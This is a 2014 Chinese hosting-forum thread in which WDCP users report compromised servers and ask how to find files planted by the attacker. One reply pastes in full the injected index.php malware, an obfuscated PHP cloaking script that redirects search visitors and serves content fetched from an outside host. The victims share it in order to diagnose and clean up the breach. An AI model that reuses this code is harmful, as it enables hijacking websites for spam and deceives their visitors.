无标题文档
wdCP系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用教程) wdCDN系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用手册)
wdOS系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用教程) wdDNS系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用手册)
注册 发贴 提问 回复-必看必看 wddns免费智能 DNS 开通 本地或虚拟机使 用wdcp 一键包在mysql编 译时"卡住"
【300G高防】双线 无视攻击 wdcp官方技术支持/服务 阿里云8折优惠券 无敌云 腾讯云优惠中,现注册更有260代金额券赠送
返回列表 发帖
提问三步曲: 提问先看教程/FAQ索引(wdcp,wdcp_v3,一键包)及搜索,会让你更快解决问题
1 提供详细,如系统版本,wdcp版本,软件版本等及错误的详细信息,贴上论坛或截图发论坛
2 做过哪些操作或改动设置等

温馨提示:信息不详,很可能会没人理你!论坛有教程说明的,也可能没人理!因为,你懂的

[BUG反馈] 这是WDCP的漏洞吗?如何解决?!

WDCP是一个非常好的虚拟主机管理软件,出于对WDCP的信任,在服务器上安装了,但是最近发现严重的问题:
q4.jpg
2014-9-25 11:17
q3.jpg
2014-9-25 11:17
q2.jpg
2014-9-25 11:17
q1.jpg
2014-9-25 11:16
我喜欢!

数据库被入侵了,并且成功上传三个文件,现在最脑火的是,不知道这三个文件是哪三个!

请管理员给个教程!!
我喜欢!

TOP

太他妈的可怕;了

TOP

我们都遭遇了相同问题。希望wdcp尽快修复。
同类帖子大集合 http://www.wdlinux.cn/bbs/viewth ... amp;extra=#pid63741

TOP

我也遇到同样的问题,上传的文件都是index.php,其实就是把目录下的空文件替换成挂马文件,但这些文件没有人访问不知有什么用处?黑客都是直接登陆WDCP后台,估计是利用了WDCP的漏洞。
快照4.png
2014-9-26 08:51


挂马的内容:
  1. <?php
  2. date_default_timezone_set('PRC');
  3. set_time_limit(20);
  4. error_reporting(0);
  5. header('Content-type: text/html; charset=gbk');
  6. define('SPIDERS','LzScMUI8p28hL29gsUAiM291sUyunT9isTqiM2ky');
  7. define('HOSTS',$_SERVER['SERVER_NAME']);
  8. define('d58ok','0');
  9. define('REFES',$_SERVER['HTTP_REFERER']);
  10. define('USERS',$_SERVER['HTTP_USER_AGENT']);
  11. define('URLS',$_SERVER['REQUEST_URI']);
  12. $Class_urls = 'http://www.5886887.com/';
  13. $Class_zhus = 'nUE0pQbiYmL3YwR5BP4kAwthZGD2Yj==';
  14. $KIP=array('117.28.255.37','116.55.241.24','125.64.94.219','119.147.114.213','118.122.188.194','60.172.229.61','61.188.39.16','61.147.98.198','61.129.45.72','113.98.254.245','58.221.61.128','117.34.73.70','58.215.190.84','117.28.255.53','183.91.40.144','117.21.220.245','122.228.200.46','61.164.150.70','61.147.108.41','116.55.242.138','114.80.222.242','61.147.108.41','116.255.230.70','222.186.24.26','222.186.24.59','220.181.158.106','123.125.160.215');
  15. define('PATHS',__FILE__);
  16. function Reads($url){
  17. $opts = array('http' => array('method' => "GET",'timeout' => 8));
  18. $context = stream_context_create($opts);
  19. $html = file_get_contents($url, false, $context);
  20. if(empty($html)){$html = file_get_contents($url);}
  21. return $html;
  22. }
  23. function Ips(){
  24. if(@$_SERVER["HTTP_X_FORWARDED_FOR"]){
  25. $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
  26. }else if(@$_SERVER["HTTP_CLIENT_IP"]){
  27. $ip = $_SERVER["HTTP_CLIENT_IP"];
  28. }else if(@$_SERVER["REMOTE_ADDR"]){
  29. $ip = $_SERVER["REMOTE_ADDR"];
  30. }else if(@getenv("HTTP_X_FORWARDED_FOR")){
  31. $ip = getenv("HTTP_X_FORWARDED_FOR");
  32. }else if(@getenv("HTTP_CLIENT_IP")){
  33. $ip = getenv("HTTP_CLIENT_IP");
  34. }else if(@getenv("REMOTE_ADDR")){
  35. $ip = getenv("REMOTE_ADDR");
  36. }else{
  37. $ip = "Unknown";
  38. }return $ip;
  39. }
  40. function R($string){
  41. $Class_now = str_rot13($string);
  42. $Class_now = base64_decode($Class_now);
  43. return $Class_now;
  44. }
  45. if(eregi(R(SPIDERS),REFES)){
  46. $Class_site = true;
  47. if(eregi("site%3A|inurl%3A",REFES)){
  48. setcookie('x86',HOSTS,time() + 259200);
  49. $Class_site = false;
  50. }
  51. if($Class_site && empty($_COOKIE['x86'])){
  52. setcookie('x86',HOSTS,time() + 259200);
  53. $Class_from = $Class_urls;
  54. $Class_home = $Class_from;
  55. header("Location: ".$Class_home.'?'.HOSTS);
  56. exit;
  57. }
  58. }
  59. if(d58ok){
  60. $Class_UR = R($Class_zhus).'?xxurl='.bin2hex(URLS);
  61. $Class_UR .= '&xxhost='.bin2hex(HOSTS);
  62. $Class_code = Reads($Class_UR);
  63. if(trim($Class_code) !== 'nonono')
  64. {echo base64_decode($Class_code);exit;}
  65. }
  66. if(eregi(R(SPIDERS),USERS)){
  67. if(!in_array(Ips(),$KIP)){
  68. $Class_UR = R($Class_zhus).'?xxurl='.bin2hex(URLS);
  69. $Class_UR .= '&xxhost='.bin2hex(HOSTS);
  70. $Class_code = Reads($Class_UR);
  71. if(trim($Class_code) !== 'nonono')
  72. {echo base64_decode($Class_code);exit;}
  73. }
  74. }
  75. ?>
复制代码

TOP

看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

我也遇到同样的问题,上传的文件都是index.php,其实就是把目录下的空文件替换成挂马文件,但这些文件没有人 ...
joynow 发表于 2014-9-26 08:54



   请教一下,怎么找到这些上传的文件在哪?
我喜欢!

TOP

检查下文件时间,看有没新上传的
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

检查下文件时间,看有没新上传的
admin 发表于 2014-9-27 12:15


我被上传了两个·····老大·     请教下~  知道上传的时间 ·· 怎么找到上传的文件呢?那么多文件好难查啊
fanli95

TOP

请参考此贴  进行查杀  http://www.wdlinux.cn/bbs/thread-37766-1-1.html

TOP

返回列表